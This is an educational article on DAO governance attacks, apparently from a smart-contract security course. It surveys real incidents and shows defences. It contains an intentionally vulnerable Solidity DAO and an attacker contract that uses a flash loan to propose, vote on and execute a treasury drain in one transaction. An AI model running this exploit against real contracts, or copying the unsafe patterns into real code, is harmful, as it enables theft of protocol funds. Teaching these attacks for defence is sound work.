DAO Governance Attacks

How the attack works and how to prevent it

JohnnyTime
JohnnyTime · Updated August 19, 2026
27 min read
Total Stolen $204,133,544
Last Attack Dec 16, 2025
Latest Victim FutureSwap

DAO Governance Attacks: Voting, Execution, and Treasury Risk

DAO governance attacks manipulate voting power, proposal review, or execution controls to make a protocol authorize harmful actions. The $182 million Beanstalk flash loan incident and the Tornado Cash contract-morphing takeover illustrate different ways an attacker can abuse governance rules.

Why bother hacking the vault when you can just vote to hand yourself the keys?

This guide covers voting manipulation, flash-loan-assisted governance, proposal contract changes, vulnerable Solidity patterns, and layered defenses for DAO design.


What exactly is a DAO governance attack?

A DAO governance attack happens when an attacker games the decentralized decision-making process to pass malicious proposals. The end goal? Draining treasuries, minting infinite tokens, or permanently seizing control of the protocol.

Unlike a typical smart contract hack that targets logic bugs, a governance attack exploits the rules of the DAO itself. The code executes exactly as written, and the protocol authorizes its own robbery.

Attackers acquire enough voting power through token purchases, flash loans, delegation, or initialization flaws, then use proposals to redirect protocol-controlled assets or privileges.

The shareholder coup analogy

To understand this, picture a publicly traded company where anyone can buy shares and vote at the shareholder meeting instantly, with zero waiting period.

An attacker walks into a bank, borrows a billion dollars for 10 seconds, buys a majority stake in the company, votes to transfer the entire company treasury to their personal bank account, executes the transfer, sells the shares, and repays the loan.

All of this happens before the other shareholders can even raise their hands to object.

That's exactly how a flash loan governance attack works! But on the blockchain, this entire hostile "coup" happens in a single transaction that takes milliseconds.


What governance attacks have cost

Governance vulnerabilities have caused several large losses in decentralized finance:

$0M+
Total Value Stolen
0+
Known Incidents
2016-2025
Active Threat Period
Incident Year Impact
Beanstalk Farms 2022 $182M instantly stolen via flash loan governance exploit
UPCX Protocol 2025 $70M drained via classic governance hijack
The DAO 2016 $60M siphoned (led to the infamous Ethereum chain hard fork)
GreenField DAO 2025 $31M vanished in a single-block flash loan attack
Compound DAO 2024 $24M forced treasury allocation by a persistent crypto whale
Audius 2022 $6M stolen by exploiting proxy re-initialization
Tornado Cash 2023 100% governance takeover via malicious contract morphing

Several of these attacks used the protocol exactly as implemented. The security failure sits in voting, review, or execution rules that let temporary or concentrated power authorize unsafe actions.


The Smart Contract Hacking course includes lab exercises on governance voting, proposal execution, and treasury controls.


The $182M Beanstalk Farms attack

The Beanstalk attack combined flash-loan-funded voting power with an emergency execution path that lacked a sufficient delay.

What Beanstalk was

Beanstalk operated as a decentralized credit-based stablecoin protocol on the Ethereum blockchain. Its governance relied on a Stalk token system. When users deposited assets into the protocol's treasury (the "Silo"), they earned Stalks relative to their deposited bags. Thus, Stalks represented voting power.

The fatal flaw sat in an emergencyCommit() function. It allowed immediate execution of any proposal that reached a two-thirds supermajority, bypassing standard timelocks and voting delays.

The attack: April 17, 2022

A single attacker ran the whole exploit in one Ethereum transaction.

The attacker borrowed over $1 billion in liquidity from Aave, Uniswap, and SushiSwap. They converted those funds into silo assets, obtained more than 67% of the Stalk voting power, approved their own proposal, moved treasury assets, repaid the loans and fees, and retained about $76 million.

All of this spanned roughly 13 seconds.

The malicious "poison pill" proposal (BIP-18) had been publicly sitting on-chain for days before the flash loan executed. With no community alerting in place and no execution timelock, nobody worked out what it would do until it was too late.

The hack, step by step

Here is the exact attack flow, fully unpacked:

Phase Action Technical detail
1. Flash loan $1B+ Borrowed liquidity from Aave, Uniswap, and SushiSwap
2. Convert to Silo assets Swapped tokens into BEAN3CRV-f and BEANLUSD-f LP tokens
3. Deposit into Silo Minted Stalks on Beanstalk to instantly gain 67% voting power
4. Vote on BIP-18 Pre-submitted malicious proposal to siphon out the liquidity pools
5. Trigger emergencyCommit() Exploited the immediate execution feature - zero timelock
6. Drain the treasury Moved $182M in protocol assets straight to their address
7. Repay and vanish Repaid the initial flash loans; pocketed $76M in irreversible profit

The attacker also slipped in BIP-19, which donated $250K in BEAN tokens to Ukraine's public crypto donation wallet.

DAO governance attack diagram - Borrowed supermajority: voting power that exists for 13 seconds
Borrowed supermajority: voting power that exists for 13 seconds

The aftermath

Beanstalk paused all on-chain operations and replaced the DAO with a community-run multisig to stop the bleeding. When the protocol relaunched, it added execution timelocks and past-snapshot-based voting.

The attacker moved $76M (24,830 ETH) through Tornado Cash in 270 separate transactions.


How governance attacks work: step by step

How the voting power gets acquired varies. The execution path rarely does - it follows the same four steps every time.

The attack flow

1
Tap to reveal
Acquire Voting Power

The attacker obtains governance tokens through purchase, flash loans, delegation exploits, or re-initialization vulnerabilities. Flash loans let attackers borrow billions in a single transaction.

2
Tap to reveal
Submit or Vote on Malicious Proposal

The attacker either submits a new proposal or votes on a pre-staged one. The proposal contains malicious calldata - often disguised as a routine treasury allocation or parameter update.

3
Tap to reveal
Bypass Safeguards

The attacker exploits missing timelocks, low quorum thresholds, emergency execution functions, or same-block voting to push the proposal through before the community can react.

4
Tap to reveal
Execute and Extract

Once the proposal passes, the attacker executes it to drain the treasury, mint tokens, upgrade proxy contracts, or permanently seize governance control. If flash loans were used, they're repaid in the same transaction.

DAO governance attack diagram - One atomic transaction: the votes are borrowed, used, and returned
One atomic transaction: the votes are borrowed, used, and returned

Variants of the governance hack

Governance attacks come in several distinct forms, each exploiting a different weakness in DAO design:

Flash Loan Governance
"Borrow governance tokens, vote, execute a malicious proposal, and repay within one transaction"
Complexity: High | Beanstalk $182M
👻
Contract Morphing
"Deploy a harmless-looking proposal contract, then replace its code via CREATE2+selfdestruct after vote approval"
Complexity: Very High | Tornado Cash
💰
Whale Accumulation
"Slowly accumulate voting power across multiple wallets, then force through self-serving proposals"
Complexity: Low | Compound $24M

Beyond those three, a few more vectors show up in incident reports:

  • Proxy re-initialization: Uninitialized state or storage collisions in upgradeable proxies can let an attacker reset governance parameters. In the 2022 Audius incident, the attacker changed the quorum to 1% and the voting delay to 0 before moving treasury assets.

  • Vote buying and bribery: On-chain bribery protocols and off-chain arrangements can influence governance gauges. In the Mochi incident, approximately $46 million in voting power was used to influence Curve reward gauges before the Emergency DAO intervened.

  • Quorum manipulation (the apathy exploit): Exploits chronic low voter turnout. If a governance system has inadequate minimum quorum thresholds and only 4%-5% of the total token holders historically bother to vote, an attacker only needs a slightly larger fraction of the circulating supply to control every outcome.


Vulnerable Solidity code: the do-not-deploy DAO

The following simplified governance contract contains several compounding vulnerabilities.

WARNING: This contract is intentionally unsafe for educational purposes. Never deploy patterns like this in production.

The vulnerable protocol

// VULNERABLE CONTRACT - DO NOT USE IN PRODUCTION
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract VulnerableDAO {
    IERC20 public govToken;
    uint256 public proposalCount;

    struct Proposal {
        address target;
        bytes callData;
        uint256 forVotes;
        uint256 againstVotes;
        bool executed;
        uint256 endTime;
    }

    mapping(uint256 => Proposal) public proposals;
    mapping(uint256 => mapping(address => bool)) public hasVoted;

    constructor(address _token) {
        govToken = IERC20(_token);
    }

    // VULNERABILITY 1: No proposal threshold - anyone can propose
    function propose(address target, bytes calldata data)
        external returns (uint256)
    {
        proposalCount++;
        proposals[proposalCount] = Proposal({
            target: target,
            callData: data,
            forVotes: 0,
            againstVotes: 0,
            executed: false,
            endTime: block.timestamp + 1 days
        });
        return proposalCount;
    }

    // VULNERABILITY 2: Uses current balance - flash loans work!
    function vote(uint256 proposalId, bool support) external {
        Proposal storage p = proposals[proposalId];
        require(block.timestamp < p.endTime, "Voting ended");
        require(!hasVoted[proposalId][msg.sender], "Already voted");

        // Reads CURRENT balance, not a past snapshot
        uint256 weight = govToken.balanceOf(msg.sender);
        hasVoted[proposalId][msg.sender] = true;

        if (support) {
            p.forVotes += weight;
        } else {
            p.againstVotes += weight;
        }
    }

    // VULNERABILITY 3: No timelock - immediate execution
    // VULNERABILITY 4: No quorum requirement
    function execute(uint256 proposalId) external {
        Proposal storage p = proposals[proposalId];
        require(!p.executed, "Already executed");
        require(p.forVotes > p.againstVotes, "Not passed");

        p.executed = true;
        // VULNERABILITY 5: Arbitrary external call
        (bool success, ) = p.target.call(p.callData);
        require(success, "Execution failed");
    }
}

Why this DAO is vulnerable

The contract has five compounding flaws that allow temporary voting power to authorize arbitrary execution:

  1. No snapshot voting - It uses balanceOf(msg.sender) at the current block, so flash-loaned tokens that exist in the attacker's wallet for one transaction count as valid votes.

  2. No execution timelock - Proposals fire the moment they pass (endTime expires, or in similar variants, executed immediately). The community gets no window to form a defense.

  3. Zero quorum requirement - Even if only one token is cast in favor and none against, the proposal passes.

  4. No minimum proposal threshold - Any address with 0 tokens can spin up endless proposals, drowning the community in spam and hiding the real malicious payload.

  5. Arbitrary external execution - target.call(callData) lets an approved proposal invoke unrestricted external logic, including treasury transfers, proxy upgrades, or token minting.

🔥
This combination of flaws enabled the $182M Beanstalk attack.
The attacker borrowed voting power, voted with current balances, and used an emergency execution path without a timelock. Governance review must cover voting power, quorum, proposal creation, delay, and execution scope together.

The attacker contract: writing the exploit

Here is the Solidity blueprint an attacker would use to chain a flash loan directly into the vulnerable DAO.

Reminder: This exploit contract is for educational purposes and local lab testing only.

// ATTACKER CONTRACT - Educational purposes only
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IFlashLender {
    function flashLoan(address token, uint256 amount) external;
}

interface IVulnerableDAO {
    function propose(address target, bytes calldata data)
        external returns (uint256);
    function vote(uint256 proposalId, bool support) external;
    function execute(uint256 proposalId) external;
}

contract GovernanceAttacker {
    IFlashLender public lender;
    IVulnerableDAO public dao;
    IERC20 public govToken;
    address public treasury;

    constructor(
        address _lender,
        address _dao,
        address _token,
        address _treasury
    ) {
        lender = IFlashLender(_lender);
        dao = IVulnerableDAO(_dao);
        govToken = IERC20(_token);
        treasury = _treasury;
    }

    function attack() external {
        // Step 1: Borrow enough governance tokens
        lender.flashLoan(
            address(govToken),
            govToken.balanceOf(address(lender))
        );
        // Flash loan callback executes steps 2-5
    }

    // Called by flash loan provider
    function onFlashLoan(uint256 amount) external {
        // Step 2: Create proposal to drain treasury
        bytes memory drainCall = abi.encodeWithSignature(
            "transfer(address,uint256)",
            address(this),
            IERC20(treasury).balanceOf(treasury)
        );
        uint256 proposalId = dao.propose(treasury, drainCall);

        // Step 3: Vote with borrowed tokens
        dao.vote(proposalId, true);

        // Step 4: Execute immediately (no timelock!)
        dao.execute(proposalId);

        // Step 5: Repay flash loan, keep the profit
        govToken.transfer(address(lender), amount);
    }
}

Deconstructing the flash loan exploit flow

Executed on-chain, the whole process fits inside a single block:

  1. Borrow (the setup): The attacker flash-loans millions of liquid governance tokens, with zero upfront collateral.

  2. Propose (the payload): The attacker queues a malicious proposal structured to siphon the DAO's treasury to their own wallet.

  3. Vote (the hijack): Using the temporarily borrowed tokens, the attacker votes "Yes" with overwhelming weight.

  4. Execute (the drain): Because there is no voting delay or execution timelock, the attacker calls execute() instantly.

  5. Repay (the getaway): The treasury is drained, the flash loan is repaid from the proceeds, and the attacker keeps the difference.

Beanstalk is the real-world version of this: the attacker flash-loaned over $1 billion across three lending protocols at once, routed the funds through liquidity pools to synthesize the exact assets that carried the most voting weight, then called emergencyCommit().

{
  "title": "🎬 Flash-loan governance capture: borrow a supermajority, drain the treasury",
  "stage": { "width": 920, "height": 440 },
  "nodes": [
    { "id": "lender", "label": "Flash-loan Pools", "role": "Aave · Uniswap · Sushi", "emoji": "🏦", "x": 640, "y": 40, "color": "blue" },
    { "id": "attacker", "label": "Attacker", "role": "exploit contract", "emoji": "🧑‍💻", "x": 60, "y": 200, "color": "red" },
    { "id": "dao", "label": "DAO Governance", "role": "no timelock", "emoji": "🏛️", "x": 380, "y": 330, "color": "purple" },
    { "id": "treasury", "label": "Treasury", "role": "holds $182M", "emoji": "💰", "x": 720, "y": 330, "color": "cyan" }
  ],
  "links": [
    { "from": "attacker", "to": "lender" },
    { "from": "attacker", "to": "dao" },
    { "from": "dao", "to": "treasury" },
    { "from": "treasury", "to": "attacker" }
  ],
  "nets": [
    { "id": "atk", "label": "Attacker Net" },
    { "id": "treasury", "label": "Treasury Net" }
  ],
  "legend": [
    { "cls": "call", "label": "contract call" },
    { "cls": "token", "label": "token / value" },
    { "cls": "sig", "label": "vote / state" },
    { "cls": "fail", "label": "blocked" }
  ],
  "scenarios": {
    "Vulnerable (no timelock)": [
      { "note": "The attacker holds almost no governance tokens - nowhere near enough to pass a proposal on their own.", "hi": ["attacker"], "bal": { "attacker": "~0 votes", "treasury": "$182M" }, "net": { "atk": "$0", "treasury": "$182M" } },
      { "note": "<b>Flash-loan:</b> borrow over <b>$1B</b> of governance tokens across three pools - zero collateral, repaid by the end of the transaction.", "hi": ["lender","attacker"], "bal": { "attacker": "67% votes" }, "chip": { "from": "lender", "to": "attacker", "label": "💸 borrow $1B", "cls": "token" } },
      { "note": "Armed with a borrowed supermajority, the attacker votes YES on the pre-staged malicious proposal (BIP-18).", "tone": "bad", "hi": ["attacker","dao"], "chip": { "from": "attacker", "to": "dao", "label": "🗳️ vote YES (67%)", "cls": "sig" } },
      { "note": "No execution timelock: the attacker calls <b>emergencyCommit()</b> and executes the proposal in the very same block.", "tone": "bad", "hi": ["attacker","dao"], "chip": { "from": "attacker", "to": "dao", "label": "📞 execute()", "cls": "call" } },
      { "note": "The proposal sweeps the treasury straight to the attacker.", "tone": "bad", "hi": ["dao","treasury"], "bal": { "treasury": "$0" }, "net": { "treasury": "-$182M" }, "chip": { "from": "treasury", "to": "attacker", "label": "🏦 drain $182M", "cls": "token" } },
      { "note": "The flash loan is repaid from the loot in the same transaction; the attacker walks away with <b>~$76M</b> in clean profit.", "tone": "bad", "hi": ["attacker","lender"], "net": { "atk": "+$76M" }, "chip": { "from": "attacker", "to": "lender", "label": "repay $1B + fee", "cls": "token" } }
    ],
    "Fixed (timelock + snapshot)": [
      { "note": "Same starting point: the attacker owns almost no real voting tokens.", "hi": ["attacker"], "bal": { "attacker": "~0 votes", "treasury": "$182M" }, "net": { "atk": "$0", "treasury": "$182M" } },
      { "note": "Voting power is <b>snapshotted at the proposal's creation block</b>. Tokens flash-borrowed afterward simply do not count.", "tone": "ok", "hi": ["attacker","dao"], "bal": { "attacker": "0 effective votes" }, "chip": { "from": "attacker", "to": "dao", "label": "snapshot: 0 votes", "cls": "sig" } },
      { "note": "Even a passed vote cannot execute immediately: a multi-day <b>timelock</b> delays it - but the flash loan must be repaid within this one transaction.", "tone": "ok", "hi": ["attacker","dao"], "chip": { "from": "attacker", "to": "dao", "label": "⏳ timelock (2 days)", "cls": "fail" } },
      { "note": "The borrowed votes vanish the instant the loan is repaid, long before execution is allowed. The treasury is never touched.", "tone": "ok", "hi": ["treasury"], "bal": { "treasury": "$182M safe" }, "net": { "treasury": "$182M" } }
    ]
  }
}

How to prevent governance attacks

Securing a DAO is like securing a bank vault - you do not rely on one lock. Each mechanism below closes a different path, and they are meant to be stacked.

Effectiveness95/100

What it does: Records voting power at a past block number (the "snapshot") before a proposal is created. Flash-loaned tokens acquired after the snapshot have zero voting power.

When to use: Every on-chain governance system. This is the single most important defense against flash loan governance attacks.

Limitation: Does not prevent attacks where tokens are acquired before the snapshot block. Attackers who hold tokens long-term can still accumulate voting power.

Effectiveness90/100

What it does: Forces a mandatory delay (24-48 hours minimum) between proposal approval and execution. Gives the community and monitoring systems time to detect and respond to malicious proposals.

When to use: All governance systems. OpenZeppelin's TimelockController is the standard implementation.

Limitation: Adds latency to legitimate governance actions. Emergency situations require separate mechanisms (Emergency DAO multisig).

Effectiveness80/100

What it does: Requires a minimum number of votes (or percentage of total supply) before a proposal can pass. Prevents low-participation attacks where a single whale controls the outcome.

When to use: All governance systems. Set quorum at 4-10% of total supply, depending on expected voter turnout.

Limitation: If voter apathy is severe, even reasonable quorum thresholds may block legitimate proposals. Requires active governance participation from token holders.

Effectiveness75/100

What it does: Requires token holders to lock tokens for a defined period (weeks to years) to gain voting power. Voting weight scales with lock duration, rewarding long-term commitment.

When to use: Protocols that want to align voting power with long-term stakeholder interest. Popularized by Curve Finance (veCRV).

Limitation: Creates meta-governance risks (e.g., Convex controlling most veCRV). Whale accumulation over time can still centralize power, as seen in the Curve Wars.


A hardened DAO: secure OpenZeppelin implementation

The following example combines OpenZeppelin Governor modules for snapshot voting, quorum, delayed execution, and proposal thresholds. Production parameters still require protocol-specific threat modeling and review.

// DEFENSIVE EXAMPLE - adapt parameters and audit before production use
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/governance/Governor.sol";
import "@openzeppelin/contracts/governance/extensions/GovernorVotes.sol";
import "@openzeppelin/contracts/governance/extensions/GovernorVotesQuorumFraction.sol";
import "@openzeppelin/contracts/governance/extensions/GovernorTimelockControl.sol";
import "@openzeppelin/contracts/governance/extensions/GovernorCountingSimple.sol";

contract SecureDAO is
    Governor,
    GovernorVotes,
    GovernorVotesQuorumFraction,
    GovernorTimelockControl,
    GovernorCountingSimple
{
    // STEP 1: CONSTRUCTOR - Configure all governance parameters
    constructor(
        IVotes _token,
        TimelockController _timelock
    )
        Governor("SecureDAO")
        GovernorVotes(_token)                    // Snapshot-based voting
        GovernorVotesQuorumFraction(4)           // 4% quorum required
        GovernorTimelockControl(_timelock)       // 48-hour execution delay
    {}

    // STEP 2: VOTING DELAY - 1 day between proposal and voting start
    // Prevents surprise proposals; gives community time to review
    function votingDelay() public pure override returns (uint256) {
        return 7200; // ~1 day in blocks (12s per block)
    }

    // STEP 3: VOTING PERIOD - 1 week for the community to vote
    function votingPeriod() public pure override returns (uint256) {
        return 50400; // ~1 week in blocks
    }

    // STEP 4: PROPOSAL THRESHOLD - Must hold 1% of supply to propose
    // Prevents spam proposals from zero-balance addresses
    function proposalThreshold() public pure override returns (uint256) {
        return 100_000e18; // 100,000 tokens (adjust to ~1% of supply)
    }

    // Required overrides for multiple inheritance
    function state(uint256 proposalId) public view override(Governor, GovernorTimelockControl)
        returns (ProposalState) { return super.state(proposalId); }

    function proposalNeedsQueuing(uint256 proposalId) public view override(Governor, GovernorTimelockControl)
        returns (bool) { return super.proposalNeedsQueuing(proposalId); }

    function _queueOperations(uint256 pid, address[] memory t, uint256[] memory v, bytes[] memory c, bytes32 h)
        internal override(Governor, GovernorTimelockControl) returns (uint48) { return super._queueOperations(pid, t, v, c, h); }

    function _executeOperations(uint256 pid, address[] memory t, uint256[] memory v, bytes[] memory c, bytes32 h)
        internal override(Governor, GovernorTimelockControl) { super._executeOperations(pid, t, v, c, h); }

    function _cancel(address[] memory t, uint256[] memory v, bytes[] memory c, bytes32 h)
        internal override(Governor, GovernorTimelockControl) returns (uint256) { return super._cancel(t, v, c, h); }

    function _executor() internal view override(Governor, GovernorTimelockControl)
        returns (address) { return super._executor(); }
}

Security features of this implementation

Feature What it enforces The mistake it fixes
GovernorVotes (snapshot) Voting power locked in at a past block Querying balanceOf(), which flash loans satisfy
GovernorTimelockControl (48h+ delay) A window for the community to react Immediate execution via something like emergencyCommit()
GovernorVotesQuorumFraction (4%+) Proposal blocked unless X% of supply votes Zero quorum, where one vote decides
proposalThreshold (~1% of supply) Only holders with real stake can propose Zero-balance addresses spamming the DAO
votingDelay (1 day offset) Time to read the proposal code before voting opens Proposing, voting, and passing within a few blocks
votingPeriod (1 week duration) Holders across time zones can cast votes A window short enough that only bots can participate

With this architecture in place, the Beanstalk flash loan, the Audius storage hijack, and the Compound whale takeover would each have failed at a different step. That is why OpenZeppelin's Governor is the industry default.

🔒
Keep OpenZeppelin dependencies updated.
Governor modules have received security fixes, including CVE-2023-34234 for deterministic proposal ID frontrunning and GHSA-xrc4-737v-9q75 for retroactive quorum edge cases. Auditors should verify the deployed version and review the relevant advisories.

Governance attacks beyond flash loans

The following incidents show how governance can fail even when snapshot voting blocks simple flash-loan attacks.

1. Tornado Cash: contract morphing attack (May 2023)

The Tornado Cash governance takeover is one of the most technically involved attacks in DeFi history. The attacker used CREATE2 and selfdestruct to morph a contract's code after governance had approved it.

How it worked:

Step Action Technical detail
1 Deploy proposal factory Used CREATE2 for deterministic address
2 Create "harmless" proposal Deployed via CREATE at a predictable address
3 Community votes to approve Code looked legitimate during review
4 selfdestruct both contracts Destroyed the approved proposal code
5 Re-deploy malicious code Same address via CREATE2 (nonce reset to 0)
6 Execute the morphed proposal Governance executes - but the code changed

The malicious code assigned 10,000 TORN tokens to each of 100 pre-created accounts, giving the attacker 1.2 million votes against 700,000 legitimate votes - total governance control.

The lesson: code review at proposal time is not enough. If the proposal references an external contract, that contract's code can change between approval and execution. Use timelocks and verify code at execution time.

2. Compound DAO: whale accumulation (July 2024)

The Compound incident shows that taking over governance needs neither flash loans nor a code exploit - deep pockets and patience are enough.

A crypto whale named "Humpy" and their group "Golden Boys" orchestrated a coordinated campaign:

  • May 2024: First attempt (Proposal 118) to allocate 5% of treasury ($24M in COMP) to a multisig they controlled. Community detected it and voted it down.

  • July 2024: Third attempt (Proposal 289) passed by a razor-thin margin: 682,191 to 633,636 votes.

  • Five wallets delegated 228,000+ COMP ($12M) obtained from Bybit exchange to boost voting power.

The community ultimately negotiated a settlement - Humpy agreed to revoke the proposal in exchange for a staking product distributing 30% of reserves to COMP stakers.

The lesson: even with proper timelocks and snapshots, whale accumulation can overwhelm governance. Consider vote delegation caps, conviction voting, or limiting governance scope to prevent treasury raids.

3. Audius: proxy storage collision (July 2022)

The Audius hack combined a proxy vulnerability with governance manipulation for a $6M theft.

The root cause was a storage collision between the proxy and implementation contracts. The proxy's proxyAdmin address occupied storage slot 0 - the same slot where OpenZeppelin's Initializable contract stored its initialized boolean.

Because the last byte of the admin address was 0xac (truthy), the contract appeared initialized. But the attacker discovered they could call initialize() again due to the collision overwriting the initialization guard.

What the attacker did:

  1. Called initialize() on the Governance contract - resetting votePeriod to 3 blocks and votingQuorumPercent to 1%

  2. Submitted a proposal to transfer $6M in AUDIO tokens to their wallet

  3. With the 1% quorum, the proposal passed almost instantly

  4. Drained the community treasury

The Audius team (with help from samczsun) used the same vulnerability to regain control and deploy emergency patches.

4. GreenField DAO: flash loan single-block attack (April 2025)

GreenField DAO shows the pattern is still live in 2025. In April 2025, an attacker flash-borrowed 9 million GOV tokens, passed a malicious proposal, and drained $31 million from the DAO treasury - all within a single Ethereum block.

The protocol had no snapshot-based voting, no timelock on execution, and no flash-loan resistance. It was a textbook repetition of the Beanstalk pattern three years later.

The lesson: despite Beanstalk being widely studied since 2022, new protocols keep deploying governance without basic protections. If your governance uses current-block token balances and has no timelock, you are already vulnerable.

Comparing defense architectures

Vulnerable

No Timelock + Current Balance

Governance with no execution delay and voting based on current token balance. Flash loans can pass and execute malicious proposals in a single transaction. Beanstalk lost $182M this way.

Partial Defense

Snapshot + Short Timelock

Snapshot-based voting blocks flash loans, but short timelocks (1-6 hours) may not give the community enough time to react. Low quorum thresholds still allow whale manipulation.

Recommended

Full OZ Governor Stack

OpenZeppelin Governor with snapshot voting, 48h+ timelock, 4%+ quorum, proposal threshold, voting delay, and an Emergency DAO multisig for critical response. Defense-in-depth.


These patterns are what separates junior auditors from senior researchers. The Smart Contract Hacking course covers governance attacks, flash loans, oracle manipulation, and more. Join 2,000+ security researchers in our Discord community.


4 misconceptions about governance attacks

?

"If I use OpenZeppelin Governor, my governance is safe."

Tap to reveal
MYTH

OpenZeppelin provides the building blocks, but configuration matters. Setting a 1-minute timelock, 0.01% quorum, or skipping the proposal threshold defeats the purpose. The Compound whale attack succeeded against a properly built governance system because the quorum was too low relative to actual voter turnout.

?

"Snapshot voting completely prevents flash loan attacks."

Tap to reveal
FACT (mostly)

Snapshot voting measures balances at a past block, so flash-loaned tokens acquired after the snapshot have zero voting power. However, if an attacker knows the snapshot block in advance, they can acquire tokens before it. This is why voting delay should be non-trivial and snapshot blocks should not be predictable far in advance.

?

"Governance attacks are only possible with flash loans."

Tap to reveal
MYTH

Flash loans are just one vector. Whale accumulation (Compound), contract morphing (Tornado Cash), proxy re-initialization (Audius), vote buying, and social engineering of delegates are all viable attack paths. The most dangerous governance attacks don't use flash loans at all.

?

"On-chain governance is always more secure than a multisig."

Tap to reveal
MYTH

Each approach has trade-offs. On-chain governance is more decentralized but vulnerable to token-based attacks. Multisigs are more responsive in emergencies but create centralization risks. Many mature protocols use both: on-chain governance for normal operations and a trusted multisig Emergency DAO for critical response.


Governance attacks frequently overlap with other vulnerability classes, creating compound exploits that amplify damage.

Flash loan attacks are the primary enabler of governance exploits. The Beanstalk attacker borrowed over $1 billion in flash loans to acquire temporary voting power. Understanding flash loan mechanics is essential for auditing any governance system that uses token-weighted voting without snapshot protection.

Access control attacks and governance vulnerabilities share a common theme: who has the power to change the system? The Audius hack was fundamentally an access control failure - the initialize() function that resets governance parameters lacked proper protection. Similarly, emergency execution functions like Beanstalk's emergencyCommit() are access control decisions with governance implications.

Oracle manipulation attacks can interact with governance systems when governance tokens derive value from or are priced by oracles. An attacker who manipulates the price of a governance token can make it cheaper to acquire voting power, lowering the cost of a governance takeover.


Test your governance attack knowledge

5 questions on voting power, timelocks, and proposal execution

Question 1 of 5

Frequently asked questions (FAQ) about governance attacks

A governance attack is when someone manipulates a DAO's voting system to pass malicious proposals - like draining the treasury or minting tokens for themselves. Think of it as rigging an election: the attacker acquires enough "votes" (governance tokens) to push through whatever they want, often using flash loans to borrow billions of dollars worth of tokens for just seconds.

Flash loans let attackers borrow governance tokens without posting collateral for the loan, provided they repay within the same transaction. If a DAO uses current balances for voting and permits immediate execution, the attacker can borrow, vote, execute, and repay atomically.

Yes. Any EVM-compatible chain (BSC, Polygon, Arbitrum, Avalanche, Base, etc.) running DAO governance contracts is susceptible to the same attack vectors. Additionally, cross-chain governance introduces new risks - if votes are relayed across bridges, attackers can potentially exploit bridge delays or replay votes.

A 51% attack targets the blockchain's consensus layer (mining/staking) to rewrite transaction history. A governance attack targets a protocol's decision-making layer (DAO voting) to pass malicious proposals. Both involve acquiring majority control, but governance attacks are cheaper - you only need to control voting tokens, not the entire network's hash rate or stake.

The cost varies dramatically. Flash loan attacks can be nearly free (just gas fees) if the protocol lacks snapshot voting. Whale accumulation attacks require purchasing enough tokens for a majority - which could range from thousands to hundreds of millions of dollars. The Beanstalk attacker spent only gas fees (around $200) but walked away with $76M in profit.

OpenZeppelin's Governor provides strong defenses when properly configured. It includes snapshot-based voting (GovernorVotes), quorum requirements (GovernorVotesQuorumFraction), and timelock integration (GovernorTimelockControl). However, misconfiguration - like setting a 0-second timelock or 0.01% quorum - can still leave the protocol vulnerable. The framework is secure; the parameters must be too.


Quick reference: governance security checklist

Before deploying any governance system:

  • Use snapshot-based voting (OpenZeppelin GovernorVotes) - never current-block balances

  • Implement a timelock (minimum 24-48 hours) on all governance execution

  • Set meaningful quorum (4-10% of total supply) based on expected voter turnout

  • Require a proposal threshold (0.5-1% of supply to propose) to prevent spam

  • Add voting delay (at least 1 day between proposal creation and voting start)

  • Set adequate voting period (3-7 days minimum for the community to participate)

  • Protect initialization functions with initializer modifier and _disableInitializers()

  • Verify proposal code at execution - not just at creation time (prevent contract morphing)

  • Create an Emergency DAO (multisig with veto power for critical threats)

  • Limit governance scope - restrict what governance can change (e.g., can't drain 100% of treasury in one proposal)

  • Get professional security audits focused on governance attack vectors

  • Monitor on-chain governance activity for unusual proposal or voting patterns


What to change in your own governance

DAO governance attacks arise from rules that work as implemented but permit unsafe concentrations of power or execution. Governance parameters control the protocol's most powerful actions, and trimming an execution delay for convenience removes the time needed for review, cancellation, or emergency response.

Use snapshot voting, execution timelocks, realistic quorum thresholds, and explicit limits on what governance can change. Model these controls against both borrowed and accumulated voting power.

Practice governance review

The Smart Contract Hacking course includes hands-on governance exercises covering borrowed voting power, timelocks, and proposal execution.

Sources and editorial notes

Reviewed by JohnnyTime. Last updated .

Master DAO Governance Attacks in a safe lab

Practice the exploit path, debug the vulnerable code, and learn the prevention workflow auditors use in real reviews.

Exploit setup Root-cause tracing Patch review
Practice DAO Governance Attacks Free Trial